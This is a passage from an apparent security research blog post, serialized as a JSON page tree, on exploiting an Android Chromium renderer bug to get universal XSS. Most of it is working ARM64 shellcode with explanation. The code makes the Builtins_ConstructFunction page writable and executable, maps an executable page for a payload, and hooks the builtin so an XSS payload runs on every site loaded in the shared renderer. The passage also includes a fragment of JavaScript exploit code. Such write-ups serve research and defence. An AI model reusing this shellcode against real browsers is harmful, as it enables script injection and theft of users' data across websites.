alue":7791},{"type":25,"tag":216,"props":143134,"children":143135},{"class":6916,"line":7607},[143136,143140,143144,143148,143152,143156,143160,143164,143168,143172],{"type":25,"tag":216,"props":143137,"children":143138},{"style":6941},[143139],{"type":31,"value":139907},{"type":25,"tag":216,"props":143141,"children":143142},{"style":6947},[143143],{"type":31,"value":6950},{"type":25,"tag":216,"props":143145,"children":143146},{"style":6958},[143147],{"type":31,"value":7010},{"type":25,"tag":216,"props":143149,"children":143150},{"style":6967},[143151],{"type":31,"value":36872},{"type":25,"tag":216,"props":143153,"children":143154},{"style":6941},[143155],{"type":31,"value":139862},{"type":25,"tag":216,"props":143157,"children":143158},{"style":6958},[143159],{"type":31,"value":179},{"type":25,"tag":216,"props":143161,"children":143162},{"style":7041},[143163],{"type":31,"value":61527},{"type":25,"tag":216,"props":143165,"children":143166},{"style":6958},[143167],{"type":31,"value":139936},{"type":25,"tag":216,"props":143169,"children":143170},{"style":6941},[143171],{"type":31,"value":43109},{"type":25,"tag":216,"props":143173,"children":143174},{"style":6958},[143175],{"type":31,"value":6961},{"type":25,"tag":216,"props":143177,"children":143178},{"class":6916,"line":7630},[143179,143183,143187,143191,143195,143200,143204,143208],{"type":25,"tag":216,"props":143180,"children":143181},{"style":6941},[143182],{"type":31,"value":105896},{"type":25,"tag":216,"props":143184,"children":143185},{"style":6958},[143186],{"type":31,"value":179},{"type":25,"tag":216,"props":143188,"children":143189},{"style":7041},[143190],{"type":31,"value":105905},{"type":25,"tag":216,"props":143192,"children":143193},{"style":6958},[143194],{"type":31,"value":1844},{"type":25,"tag":216,"props":143196,"children":143197},{"style":8199},[143198],{"type":31,"value":143199},"'DeserializeWasmModule result: '",{"type":25,"tag":216,"props":143201,"children":143202},{"style":6947},[143203],{"type":31,"value":12852},{"type":25,"tag":216,"props":143205,"children":143206},{"style":6941},[143207],{"type":31,"value":13109},{"type":25,"tag":216,"props":143209,"children":143210},{"style":6958},[143211],{"type":31,"value":7791},{"type":25,"tag":216,"props":143213,"children":143214},{"class":6916,"line":7639},[143215,143219,143223,143227,143231,143235,143239,143243,143247,143251],{"type":25,"tag":216,"props":143216,"children":143217},{"style":6930},[143218],{"type":31,"value":40145},{"type":25,"tag":216,"props":143220,"children":143221},{"style":6941},[143222],{"type":31,"value":139956},{"type":25,"tag":216,"props":143224,"children":143225},{"style":6947},[143226],{"type":31,"value":6950},{"type":25,"tag":216,"props":143228,"children":143229},{"style":6930},[143230],{"type":31,"value":35889},{"type":25,"tag":216,"props":143232,"children":143233},{"style":6941},[143234],{"type":31,"value":137724},{"type":25,"tag":216,"props":143236,"children":143237},{"style":6958},[143238],{"type":31,"value":179},{"type":25,"tag":216,"props":143240,"children":143241},{"style":7041},[143242],{"type":31,"value":137778},{"type":25,"tag":216,"props":143244,"children":143245},{"style":6958},[143246],{"type":31,"value":1844},{"type":25,"tag":216,"props":143248,"children":143249},{"style":6941},[143250],{"type":31,"value":13031},{"type":25,"tag":216,"props":143252,"children":143253},{"style":6958},[143254],{"type":31,"value":7791},{"type":25,"tag":216,"props":143256,"children":143257},{"class":6916,"line":7648},[143258,143262,143266,143270,143274,143278,143282,143286,143290],{"type":25,"tag":216,"props":143259,"children":143260},{"style":6930},[143261],{"type":31,"value":40145},{"type":25,"tag":216,"props":143263,"children":143264},{"style":6941},[143265],{"type":31,"value":36927},{"type":25,"tag":216,"props":143267,"children":143268},{"style":6947},[143269],{"type":31,"value":6950},{"type":25,"tag":216,"props":143271,"children":143272},{"style":6941},[143273],{"type":31,"value":139956},{"type":25,"tag":216,"props":143275,"children":143276},{"style":6958},[143277],{"type":31,"value":179},{"type":25,"tag":216,"props":143279,"children":143280},{"style":6941},[143281],{"type":31,"value":41843},{"type":25,"tag":216,"props":143283,"children":143284},{"style":6958},[143285],{"type":31,"value":179},{"type":25,"tag":216,"props":143287,"children":143288},{"style":6941},[143289],{"type":31,"value":137827},{"type":25,"tag":216,"props":143291,"children":143292},{"style":6958},[143293],{"type":31,"value":6961},{"type":25,"tag":216,"props":143295,"children":143296},{"class":6916,"line":7716},[143297,143301,143305,143309,143313,143317],{"type":25,"tag":216,"props":143298,"children":143299},{"style":6941},[143300],{"type":31,"value":105896},{"type":25,"tag":216,"props":143302,"children":143303},{"style":6958},[143304],{"type":31,"value":179},{"type":25,"tag":216,"props":143306,"children":143307},{"style":7041},[143308],{"type":31,"value":105905},{"type":25,"tag":216,"props":143310,"children":143311},{"style":6958},[143312],{"type":31,"value":1844},{"type":25,"tag":216,"props":143314,"children":143315},{"style":6941},[143316],{"type":31,"value":37041},{"type":25,"tag":216,"props":143318,"children":143319},{"style":6958},[143320],{"type":31,"value":7791},{"type":25,"tag":216,"props":143322,"children":143323},{"class":6916,"line":7724},[143324],{"type":25,"tag":216,"props":143325,"children":143326},{"style":6958},[143327],{"type":31,"value":105937},{"type":25,"tag":38,"props":143329,"children":143330},{},[143331],{"type":31,"value":143332},"And this time, it works as expected:",{"type":25,"tag":38,"props":143334,"children":143335},{},[143336],{"type":25,"tag":6461,"props":143337,"children":143340},{"alt":143338,"src":143339},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":25,"tag":607,"props":143342,"children":143344},{"id":143343},"achieving-universal-xss",[143345],{"type":31,"value":143346},"Achieving Universal XSS",{"type":25,"tag":38,"props":143348,"children":143349},{},[143350,143352,143358,143360,143367],{"type":31,"value":143351},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":25,"tag":162,"props":143353,"children":143356},{"href":143354,"rel":143355},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[166],[143357],{"type":31,"value":74295},{"type":31,"value":143359}," from Tencent Security and ",{"type":25,"tag":162,"props":143361,"children":143364},{"href":143362,"rel":143363},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[166],[143365],{"type":31,"value":143366},"research article",{"type":31,"value":143368}," from InterruptLabs.",{"type":25,"tag":38,"props":143370,"children":143371},{},[143372,143374,143381],{"type":31,"value":143373},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":25,"tag":162,"props":143375,"children":143378},{"href":143376,"rel":143377},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[166],[143379],{"type":31,"value":143380},"weaker version",{"type":31,"value":143382}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":25,"tag":38,"props":143384,"children":143385},{},[143386,143388,143394],{"type":31,"value":143387},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":25,"tag":82,"props":143389,"children":143391},{"className":143390},[],[143392],{"type":31,"value":143393},"Builtins_ConstructFunction",{"type":31,"value":143395},", making it a natural target.",{"type":25,"tag":38,"props":143397,"children":143398},{},[143399,143401,143406],{"type":31,"value":143400},"Our goal is for ",{"type":25,"tag":82,"props":143402,"children":143404},{"className":143403},[],[143405],{"type":31,"value":143393},{"type":31,"value":143407}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":25,"tag":2033,"props":143409,"children":143410},{},[143411,143416,143426],{"type":25,"tag":2037,"props":143412,"children":143413},{},[143414],{"type":31,"value":143415},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":25,"tag":2037,"props":143417,"children":143418},{},[143419,143421],{"type":31,"value":143420},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":25,"tag":82,"props":143422,"children":143424},{"className":143423},[],[143425],{"type":31,"value":143393},{"type":25,"tag":2037,"props":143427,"children":143428},{},[143429,143431,143436],{"type":31,"value":143430},"The mmap-ed shellcode then returns to the beginning of ",{"type":25,"tag":82,"props":143432,"children":143434},{"className":143433},[],[143435],{"type":31,"value":143393},{"type":31,"value":143437},", which now proceeds normally",{"type":25,"tag":38,"props":143439,"children":143440},{},[143441],{"type":31,"value":143442},"The ARM64 shellcode implementing this looks as follows:",{"type":25,"tag":206,"props":143444,"children":143448},{"code":143445,"language":143446,"meta":7,"className":143447,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[143449],{"type":25,"tag":82,"props":143450,"children":143451},{"__ignoreMap":7},[143452,143460,143468,143476,143484,143491,143499,143507,143515,143523,143530,143538,143546,143554,143562,143570,143577,143585,143593,143601,143609,143617,143625,143632,143640,143647,143655,143663,143671,143678,143686,143694,143702,143710,143717,143724,143731,143738,143746,143754,143762,143769,143777,143785,143792,143800,143808,143816,143823,143831,143839,143847,143855,143862,143869,143877],{"type":25,"tag":216,"props":143453,"children":143454},{"class":6916,"line":6917},[143455],{"type":25,"tag":216,"props":143456,"children":143457},{},[143458],{"type":31,"value":143459},"// get return addr to x0\n",{"type":25,"tag":216,"props":143461,"children":143462},{"class":6916,"line":6763},[143463],{"type":25,"tag":216,"props":143464,"children":143465},{},[143466],{"type":31,"value":143467},"ldr x0, [sp, #0x18]\n",{"type":25,"tag":216,"props":143469,"children":143470},{"class":6916,"line":6772},[143471],{"type":25,"tag":216,"props":143472,"children":143473},{},[143474],{"type":31,"value":143475},"// strip pac signature from return address\n",{"type":25,"tag":216,"props":143477,"children":143478},{"class":6916,"line":6999},[143479],{"type":25,"tag":216,"props":143480,"children":143481},{},[143482],{"type":31,"value":143483},".arch armv8.3-a; xpaci x0\n",{"type":25,"tag":216,"props":143485,"children":143486},{"class":6916,"line":7104},[143487],{"type":25,"tag":216,"props":143488,"children":143489},{"emptyLinePlaceholder":16},[143490],{"type":31,"value":7636},{"type":25,"tag":216,"props":143492,"children":143493},{"class":6916,"line":7210},[143494],{"type":25,"tag":216,"props":143495,"children":143496},{},[143497],{"type":31,"value":143498},"// store x5 = Builtins_ConstructFunction\n",{"type":25,"tag":216,"props":143500,"children":143501},{"class":6916,"line":7238},[143502],{"type":25,"tag":216,"props":143503,"children":143504},{},[143505],{"type":31,"value":143506},"movz x1, #0x610c\n",{"type":25,"tag":216,"props":143508,"children":143509},{"class":6916,"line":7251},[143510],{"type":25,"tag":216,"props":143511,"children":143512},{},[143513],{"type":31,"value":143514},"sub x0, x0, x1\n",{"type":25,"tag":216,"props":143516,"children":143517},{"class":6916,"line":7269},[143518],{"type":25,"tag":216,"props":143519,"children":143520},{},[143521],{"type":31,"value":143522},"mov x5, x0\n",{"type":25,"tag":216,"props":143524,"children":143525},{"class":6916,"line":7290},[143526],{"type":25,"tag":216,"props":143527,"children":143528},{"emptyLinePlaceholder":16},[143529],{"type":31,"value":7636},{"type":25,"tag":216,"props":143531,"children":143532},{"class":6916,"line":7299},[143533],{"type":25,"tag":216,"props":143534,"children":143535},{},[143536],{"type":31,"value":143537},"// store x4 = page aligned ConstructFunction\n",{"type":25,"tag":216,"props":143539,"children":143540},{"class":6916,"line":7551},[143541],{"type":25,"tag":216,"props":143542,"children":143543},{},[143544],{"type":31,"value":143545},"movz x1, #0xf000\n",{"type":25,"tag":216,"props":143547,"children":143548},{"class":6916,"line":7568},[143549],{"type":25,"tag":216,"props":143550,"children":143551},{},[143552],{"type":31,"value":143553},"movk x1, #0xffff, lsl #16\n",{"type":25,"tag":216,"props":143555,"children":143556},{"class":6916,"line":7585},[143557],{"type":25,"tag":216,"props":143558,"children":143559},{},[143560],{"type":31,"value":143561},"movk x1, #0xffff, lsl #32\n",{"type":25,"tag":216,"props":143563,"children":143564},{"class":6916,"line":7598},[143565],{"type":25,"tag":216,"props":143566,"children":143567},{},[143568],{"type":31,"value":143569},"and x4, x5, x1\n",{"type":25,"tag":216,"props":143571,"children":143572},{"class":6916,"line":7607},[143573],{"type":25,"tag":216,"props":143574,"children":143575},{"emptyLinePlaceholder":16},[143576],{"type":31,"value":7636},{"type":25,"tag":216,"props":143578,"children":143579},{"class":6916,"line":7630},[143580],{"type":25,"tag":216,"props":143581,"children":143582},{},[143583],{"type":31,"value":143584},"// mprotect page aligned ConstructFunction RWX\n",{"type":25,"tag":216,"props":143586,"children":143587},{"class":6916,"line":7639},[143588],{"type":25,"tag":216,"props":143589,"children":143590},{},[143591],{"type":31,"value":143592},"mov x0, x4\n",{"type":25,"tag":216,"props":143594,"children":143595},{"class":6916,"line":7648},[143596],{"type":25,"tag":216,"props":143597,"children":143598},{},[143599],{"type":31,"value":143600},"mov x1, #0x2000\n",{"type":25,"tag":216,"props":143602,"children":143603},{"class":6916,"line":7716},[143604],{"type":25,"tag":216,"props":143605,"children":143606},{},[143607],{"type":31,"value":143608},"mov x2, #0x7\n",{"type":25,"tag":216,"props":143610,"children":143611},{"class":6916,"line":7724},[143612],{"type":25,"tag":216,"props":143613,"children":143614},{},[143615],{"type":31,"value":143616},"mov x8, #226\n",{"type":25,"tag":216,"props":143618,"children":143619},{"class":6916,"line":7754},[143620],{"type":25,"tag":216,"props":143621,"children":143622},{},[143623],{"type":31,"value":143624},"svc #0\n",{"type":25,"tag":216,"props":143626,"children":143627},{"class":6916,"line":7762},[143628],{"type":25,"tag":216,"props":143629,"children":143630},{"emptyLinePlaceholder":16},[143631],{"type":31,"value":7636},{"type":25,"tag":216,"props":143633,"children":143634},{"class":6916,"line":7794},[143635],{"type":25,"tag":216,"props":143636,"children":143637},{},[143638],{"type":31,"value":143639},"mov x6, x5\n",{"type":25,"tag":216,"props":143641,"children":143642},{"class":6916,"line":7802},[143643],{"type":25,"tag":216,"props":143644,"children":143645},{"emptyLinePlaceholder":16},[143646],{"type":31,"value":7636},{"type":25,"tag":216,"props":143648,"children":143649},{"class":6916,"line":7862},[143650],{"type":25,"tag":216,"props":143651,"children":143652},{},[143653],{"type":31,"value":143654},"// mmap RWX for jump dest (uxss_sc)\n",{"type":25,"tag":216,"props":143656,"children":143657},{"class":6916,"line":12995},[143658],{"type":25,"tag":216,"props":143659,"children":143660},{},[143661],{"type":31,"value":143662},"mov x0, #0\n",{"type":25,"tag":216,"props":143664,"children":143665},{"class":6916,"line":13013},[143666],{"type":25,"tag":216,"props":143667,"children":143668},{},[143669],{"type":31,"value":143670},"mov x1, #0x1000\n",{"type":25,"tag":216,"props":143672,"children":143673},{"class":6916,"line":13058},[143674],{"type":25,"tag":216,"props":143675,"children":143676},{},[143677],{"type":31,"value":143608},{"type":25,"tag":216,"props":143679,"children":143680},{"class":6916,"line":13164},[143681],{"type":25,"tag":216,"props":143682,"children":143683},{},[143684],{"type":31,"value":143685},"mov x3, #34\n",{"type":25,"tag":216,"props":143687,"children":143688},{"class":6916,"line":27449},[143689],{"type":25,"tag":216,"props":143690,"children":143691},{},[143692],{"type":31,"value":143693},"mov x4, #-1\n",{"type":25,"tag":216,"props":143695,"children":143696},{"class":6916,"line":27484},[143697],{"type":25,"tag":216,"props":143698,"children":143699},{},[143700],{"type":31,"value":143701},"mov x5, #0\n",{"type":25,"tag":216,"props":143703,"children":143704},{"class":6916,"line":27492},[143705],{"type":25,"tag":216,"props":143706,"children":143707},{},[143708],{"type":31,"value":143709},"mov x8, #222\n",{"type":25,"tag":216,"props":143711,"children":143712},{"class":6916,"line":27500},[143713],{"type":25,"tag":216,"props":143714,"children":143715},{},[143716],{"type":31,"value":143624},{"type":25,"tag":216,"props":143718,"children":143719},{"class":6916,"line":27509},[143720],{"type":25,"tag":216,"props":143721,"children":143722},{"emptyLinePlaceholder":16},[143723],{"type":31,"value":7636},{"type":25,"tag":216,"props":143725,"children":143726},{"class":6916,"line":27551},[143727],{"type":25,"tag":216,"props":143728,"children":143729},{},[143730],{"type":31,"value":143522},{"type":25,"tag":216,"props":143732,"children":143733},{"class":6916,"line":27584},[143734],{"type":25,"tag":216,"props":143735,"children":143736},{"emptyLinePlaceholder":16},[143737],{"type":31,"value":7636},{"type":25,"tag":216,"props":143739,"children":143740},{"class":6916,"line":27592},[143741],{"type":25,"tag":216,"props":143742,"children":143743},{},[143744],{"type":31,"value":143745},"// at this point:\n",{"type":25,"tag":216,"props":143747,"children":143748},{"class":6916,"line":27600},[143749],{"type":25,"tag":216,"props":143750,"children":143751},{},[143752],{"type":31,"value":143753},"// x6 = Builtins_ConstructFunction\n",{"type":25,"tag":216,"props":143755,"children":143756},{"class":6916,"line":27609},[143757],{"type":25,"tag":216,"props":143758,"children":143759},{},[143760],{"type":31,"value":143761},"// x5 = mmap page for uxss_sc\n",{"type":25,"tag":216,"props":143763,"children":143764},{"class":6916,"line":27685},[143765],{"type":25,"tag":216,"props":143766,"children":143767},{"emptyLinePlaceholder":16},[143768],{"type":31,"value":7636},{"type":25,"tag":216,"props":143770,"children":143771},{"class":6916,"line":27718},[143772],{"type":25,"tag":216,"props":143773,"children":143774},{},[143775],{"type":31,"value":143776},"// write uxss_sc to mmaped rwx page\n",{"type":25,"tag":216,"props":143778,"children":143779},{"class":6916,"line":27726},[143780],{"type":25,"tag":216,"props":143781,"children":143782},{},[143783],{"type":31,"value":143784},"{write_sc(uxss_sc, \"x5\")}\n",{"type":25,"tag":216,"props":143786,"children":143787},{"class":6916,"line":27734},[143788],{"type":25,"tag":216,"props":143789,"children":143790},{"emptyLinePlaceholder":16},[143791],{"type":31,"value":7636},{"type":25,"tag":216,"props":143793,"children":143794},{"class":6916,"line":27771},[143795],{"type":25,"tag":216,"props":143796,"children":143797},{},[143798],{"type":31,"value":143799},"// wipe from cache\n",{"type":25,"tag":216,"props":143801,"children":143802},{"class":6916,"line":27784},[143803],{"type":25,"tag":216,"props":143804,"children":143805},{},[143806],{"type":31,"value":143807},"mov x0, x5\n",{"type":25,"tag":216,"props":143809,"children":143810},{"class":6916,"line":27797},[143811],{"type":25,"tag":216,"props":143812,"children":143813},{},[143814],{"type":31,"value":143815},"{WIPE_CACHE}\n",{"type":25,"tag":216,"props":143817,"children":143818},{"class":6916,"line":27810},[143819],{"type":25,"tag":216,"props":143820,"children":143821},{"emptyLinePlaceholder":16},[143822],{"type":31,"value":7636},{"type":25,"tag":216,"props":143824,"children":143825},{"class":6916,"line":27864},[143826],{"type":25,"tag":216,"props":143827,"children":143828},{},[143829],{"type":31,"value":143830},"// patch Builtins_ConstructFunction\n",{"type":25,"tag":216,"props":143832,"children":143833},{"class":6916,"line":27873},[143834],{"type":25,"tag":216,"props":143835,"children":143836},{},[143837],{"type":31,"value":143838},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":25,"tag":216,"props":143840,"children":143841},{"class":6916,"line":36237},[143842],{"type":25,"tag":216,"props":143843,"children":143844},{},[143845],{"type":31,"value":143846},"// and add a pointer to uxss_sc just above new instructions\n",{"type":25,"tag":216,"props":143848,"children":143849},{"class":6916,"line":36258},[143850],{"type":25,"tag":216,"props":143851,"children":143852},{},[143853],{"type":31,"value":143854},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":25,"tag":216,"props":143856,"children":143857},{"class":6916,"line":84917},[143858],{"type":25,"tag":216,"props":143859,"children":143860},{"emptyLinePlaceholder":16},[143861],{"type":31,"value":7636},{"type":25,"tag":216,"props":143863,"children":143864},{"class":6916,"line":84930},[143865],{"type":25,"tag":216,"props":143866,"children":143867},{},[143868],{"type":31,"value":143799},{"type":25,"tag":216,"props":143870,"children":143871},{"class":6916,"line":84938},[143872],{"type":25,"tag":216,"props":143873,"children":143874},{},[143875],{"type":31,"value":143876},"mov x0, x6\n",{"type":25,"tag":216,"props":143878,"children":143879},{"class":6916,"line":84946},[143880],{"type":25,"tag":216,"props":143881,"children":143882},{},[143883],{"type":31,"value":143815},{"type":25,"tag":38,"props":143885,"children":143886},{},[143887,143889,143895,143897,143902,143904,143910],{"type":31,"value":143888},"In the snippet above, ",{"type":25,"tag":82,"props":143890,"children":143892},{"className":143891},[],[143893],{"type":31,"value":143894},"new_compile_instrs",{"type":31,"value":143896}," refers to the instructions written to the beginning of ",{"type":25,"tag":82,"props":143898,"children":143900},{"className":143899},[],[143901],{"type":31,"value":143393},{"type":31,"value":143903}," that invoke the ",{"type":25,"tag":82,"props":143905,"children":143907},{"className":143906},[],[143908],{"type":31,"value":143909},"uxss_sc",{"type":31,"value":143911}," mmap-ed shellcode:",{"type":25,"tag":206,"props":143913,"children":143915},{"code":143914,"language":143446,"meta":7,"className":143447,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[143916],{"type":25,"tag":82,"props":143917,"children":143918},{"__ignoreMap":7},[143919,143927,143934,143942,143950,143957,143965,143973,143980,143988,143996,144003,144011],{"type":25,"tag":216,"props":143920,"children":143921},{"class":6916,"line":6917},[143922],{"type":25,"tag":216,"props":143923,"children":143924},{},[143925],{"type":31,"value":143926},"bti c\n",{"type":25,"tag":216,"props":143928,"children":143929},{"class":6916,"line":6763},[143930],{"type":25,"tag":216,"props":143931,"children":143932},{"emptyLinePlaceholder":16},[143933],{"type":31,"value":7636},{"type":25,"tag":216,"props":143935,"children":143936},{"class":6916,"line":6772},[143937],{"type":25,"tag":216,"props":143938,"children":143939},{},[143940],{"type":31,"value":143941},"// store registers that will be overwritten\n",{"type":25,"tag":216,"props":143943,"children":143944},{"class":6916,"line":6999},[143945],{"type":25,"tag":216,"props":143946,"children":143947},{},[143948],{"type":31,"value":143949},"stp x15, lr, [sp, #-16]!\n",{"type":25,"tag":216,"props":143951,"children":143952},{"class":6916,"line":7104},[143953],{"type":25,"tag":216,"props":143954,"children":143955},{"emptyLinePlaceholder":16},[143956],{"type":31,"value":7636},{"type":25,"tag":216,"props":143958,"children":143959},{"class":6916,"line":7210},[143960],{"type":25,"tag":216,"props":143961,"children":143962},{},[143963],{"type":31,"value":143964},"// get current rip into x15\n",{"type":25,"tag":216,"props":143966,"children":143967},{"class":6916,"line":7238},[143968],{"type":25,"tag":216,"props":143969,"children":143970},{},[143971],{"type":31,"value":143972},"adr x15, .\n",{"type":25,"tag":216,"props":143974,"children":143975},{"class":6916,"line":7251},[143976],{"type":25,"tag":216,"props":143977,"children":143978},{"emptyLinePlaceholder":16},[143979],{"type":31,"value":7636},{"type":25,"tag":216,"props":143981,"children":143982},{"class":6916,"line":7269},[143983],{"type":25,"tag":216,"props":143984,"children":143985},{},[143986],{"type":31,"value":143987},"// load the uxss_sc pointer saved just above new instructions\n",{"type":25,"tag":216,"props":143989,"children":143990},{"class":6916,"line":7290},[143991],{"type":25,"tag":216,"props":143992,"children":143993},{},[143994],{"type":31,"value":143995},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":25,"tag":216,"props":143997,"children":143998},{"class":6916,"line":7299},[143999],{"type":25,"tag":216,"props":144000,"children":144001},{"emptyLinePlaceholder":16},[144002],{"type":31,"value":7636},{"type":25,"tag":216,"props":144004,"children":144005},{"class":6916,"line":7551},[144006],{"type":25,"tag":216,"props":144007,"children":144008},{},[144009],{"type":31,"value":144010},"// jump to uxss_sc\n",{"type":25,"tag":216,"props":144012,"children":144013},{"class":6916,"line":7568},[144014],{"type":25,"tag":216,"props":144015,"children":144016},{},[144017],{"type":31,"value":144018},"blr x15\n",{"type":25,"tag":38,"props":144020,"children":144021},{},[144022,144027,144029,144034],{"type":25,"tag":82,"props":144023,"children":144025},{"className":144024},[],[144026],{"type":31,"value":143909},{"type":31,"value":144028}," is the mmap-ed shellcode invoked by the patched ",{"type":25,"tag":82,"props":144030,"children":144032},{"className":144031},[],[144033],{"type":31,"value":143393},{"type":31,"value":144035}," to execute our XSS payload. Its prologue looks like this:",{"type":25,"tag":206,"props":144037,"children":144039},{"code":144038,"language":143446,"meta":7,"className":143447,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[144040],{"type":25,"tag":82,"props":144041,"children":144042},{"__ignoreMap":7},[144043,144050,144057,144065,144073,144081,144089,144097,144105,144113,144121,144129,144137,144145,144153,144161,144169,144177,144185],{"type":25,"tag":216,"props":144044,"children":144045},{"class":6916,"line":6917},[144046],{"type":25,"tag":216,"props":144047,"children":144048},{},[144049],{"type":31,"value":143926},{"type":25,"tag":216,"props":144051,"children":144052},{"class":6916,"line":6763},[144053],{"type":25,"tag":216,"props":144054,"children":144055},{"emptyLinePlaceholder":16},[144056],{"type":31,"value":7636},{"type":25,"tag":216,"props":144058,"children":144059},{"class":6916,"line":6772},[144060],{"type":25,"tag":216,"props":144061,"children":144062},{},[144063],{"type":31,"value":144064},"// Save full register context\n",{"type":25,"tag":216,"props":144066,"children":144067},{"class":6916,"line":6999},[144068],{"type":25,"tag":216,"props":144069,"children":144070},{},[144071],{"type":31,"value":144072},"stp x0,  x1,  [sp, #-16]!\n",{"type":25,"tag":216,"props":144074,"children":144075},{"class":6916,"line":7104},[144076],{"type":25,"tag":216,"props":144077,"children":144078},{},[144079],{"type":31,"value":144080},"stp x2,  x3,  [sp, #-16]!\n",{"type":25,"tag":216,"props":144082,"children":144083},{"class":6916,"line":7210},[144084],{"type":25,"tag":216,"props":144085,"children":144086},{},[144087],{"type":31,"value":144088},"stp x4,  x5,  [sp, #-16]!\n",{"type":25,"tag":216,"props":144090,"children":144091},{"class":6916,"line":7238},[144092],{"type":25,"tag":216,"props":144093,"children":144094},{},[144095],{"type":31,"value":144096},"stp x6,  x7,  [sp, #-16]!\n",{"type":25,"tag":216,"props":144098,"children":144099},{"class":6916,"line":7251},[144100],{"type":25,"tag":216,"props":144101,"children":144102},{},[144103],{"type":31,"value":144104},"stp x8,  x9,  [sp, #-16]!\n",{"type":25,"tag":216,"props":144106,"children":144107},{"class":6916,"line":7269},[144108],{"type":25,"tag":216,"props":144109,"children":144110},{},[144111],{"type":31,"value":144112},"stp x10, x11, [sp, #-16]!\n",{"type":25,"tag":216,"props":144114,"children":144115},{"class":6916,"line":7290},[144116],{"type":25,"tag":216,"props":144117,"children":144118},{},[144119],{"type":31,"value":144120},"stp x12, x13, [sp, #-16]!\n",{"type":25,"tag":216,"props":144122,"children":144123},{"class":6916,"line":7299},[144124],{"type":25,"tag":216,"props":144125,"children":144126},{},[144127],{"type":31,"value":144128},"stp x14, x15, [sp, #-16]!\n",{"type":25,"tag":216,"props":144130,"children":144131},{"class":6916,"line":7551},[144132],{"type":25,"tag":216,"props":144133,"children":144134},{},[144135],{"type":31,"value":144136},"stp x16, x17, [sp, #-16]!\n",{"type":25,"tag":216,"props":144138,"children":144139},{"class":6916,"line":7568},[144140],{"type":25,"tag":216,"props":144141,"children":144142},{},[144143],{"type":31,"value":144144},"stp x18, x19, [sp, #-16]!\n",{"type":25,"tag":216,"props":144146,"children":144147},{"class":6916,"line":7585},[144148],{"type":25,"tag":216,"props":144149,"children":144150},{},[144151],{"type":31,"value":144152},"stp x20, x21, [sp, #-16]!\n",{"type":25,"tag":216,"props":144154,"children":144155},{"class":6916,"line":7598},[144156],{"type":25,"tag":216,"props":144157,"children":144158},{},[144159],{"type":31,"value":144160},"stp x22, x23, [sp, #-16]!\n",{"type":25,"tag":216,"props":144162,"children":144163},{"class":6916,"line":7607},[144164],{"type":25,"tag":216,"props":144165,"children":144166},{},[144167],{"type":31,"value":144168},"stp x24, x25, [sp, #-16]!\n",{"type":25,"tag":216,"props":144170,"children":144171},{"class":6916,"line":7630},[144172],{"type":25,"tag":216,"props":144173,"children":144174},{},[144175],{"type":31,"value":144176},"stp x26, x27, [sp, #-16]!\n",{"type":25,"tag":216,"props":144178,"children":144179},{"class":6916,"line":7639},[144180],{"type":25,"tag":216,"props":144181,"children":144182},{},[144183],{"type":31,"value":144184},"stp x28, x29, [sp, 